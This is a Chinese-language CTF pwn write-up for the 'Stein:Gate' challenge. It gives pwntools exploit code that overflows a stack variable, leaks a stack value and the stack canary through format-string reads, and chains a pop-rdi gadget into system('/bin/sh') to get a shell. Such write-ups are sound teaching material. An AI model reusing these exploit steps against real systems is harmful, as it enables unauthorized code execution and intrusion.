PWN:Stein:Gate
套路操作
开了canary,是64位的RELRO开是开了不过这题目里面没影响,据说是got表不能再更改了,不清楚会咋样,下次碰到题目再说
ida看看
进sub_400AF1看到,他的unk_602040在bss上,正好,里面有system函数,把/bin/sh写到bss里面,然后调用system
看到rdi了,那个就是用来给system传参数
pop_rdi=0x400c73 #gadget
system=0x400a76
bss=0x602040
p.sendlineafter("What's your ID:","/bin/sh\x00") #把/bin/sh写入bss
pay += p64(pop_rdi) + p64(bss) + p64(system) #把bss里面的内容写入寄存器,调用system
一个一个函数看
v2一定要等于0x2333才可以,不然程序就跳转了
栈溢出的时候把v2那里要记得写入成#3
p.sendafter("d.\n","a"*48+"3#")
这里的3#是因为linux存取是倒过来的,因为要输出#3,就应该利用栈溢出把v2的值写成3#,也可以直接写成
p.sendafter(“d.\n”,“a”*48+p64(0x2333))
再进入下一个函数
v4要等于v1,所以要泄露v1的值,这里就用格式化字符串
var_44就是v0,除去六个寄存器,他距离栈顶12,一个多字节,所以他距离format是第7个参数,用$7把v0泄漏出来
p.sendafter("Repeater is nature of man.\n","%7$p") #泄露出v0的值
s=p.recvuntil("00")
s=int(s[:-2],16)
print hex(s+0x1234)#v4的值
我这里把v0打出来了,因为我当时想了很久为什么要写成s[:-2],可以看到最下面一行就是v0,v0末尾被补0了要去掉,不然和0x1234运算得到的值会出问题
这个问题我当时想了好久。。。。。。
然后再进下一个函数
要让v1等于“ff”
p.sendafter("You found it?\n","ff\x00\x00"*12+p32(s+0x1234))
这里v1明明是一个新的函数里面的为什么会写在v4前面呢,我队长跟我讲因为他没有清理栈空间的操作,所以可以把v1直接写到位置上,buf和v4之间48位,v1也在中间,直接把v1写进去
不要忘记这里有格式化字符串漏洞,要泄漏出来canary的值
p.sendafter("Payment of past debts.\n","%11$p") #泄露出canary值 具体怎么推算不写了,算了好 几次这个了,之前也写过了
s=int(p.recvuntil("00"),16)
print hex(s)
好了七七八八小东西我们都搞定了,再来理一遍思路
首先把\bin\sh写入bss,然后找到system传参数的gadget,然后在main函数里面依次运行,首先让v2通过栈溢出,写入目标值,然后下一个函数,格式化字符串的方式泄漏v0的值,把v4写成0x1234+v0,再发现v1要写成ff,把v1写好,然后因为这个函数有格式化字符串漏洞,泄漏canary,最后构造payload链绕过canary,执行system函数
pay = "a"*48+"3#\x00\x00"*2+p64(s)+"a"*8 #填充canary
pay += p64(pop_rdi) + p64(bss) + p64(system )#调用system
p.recvuntil("To seek the truth of the world.")
p.send(pay)
p.interactive()
完整exp
got it~~~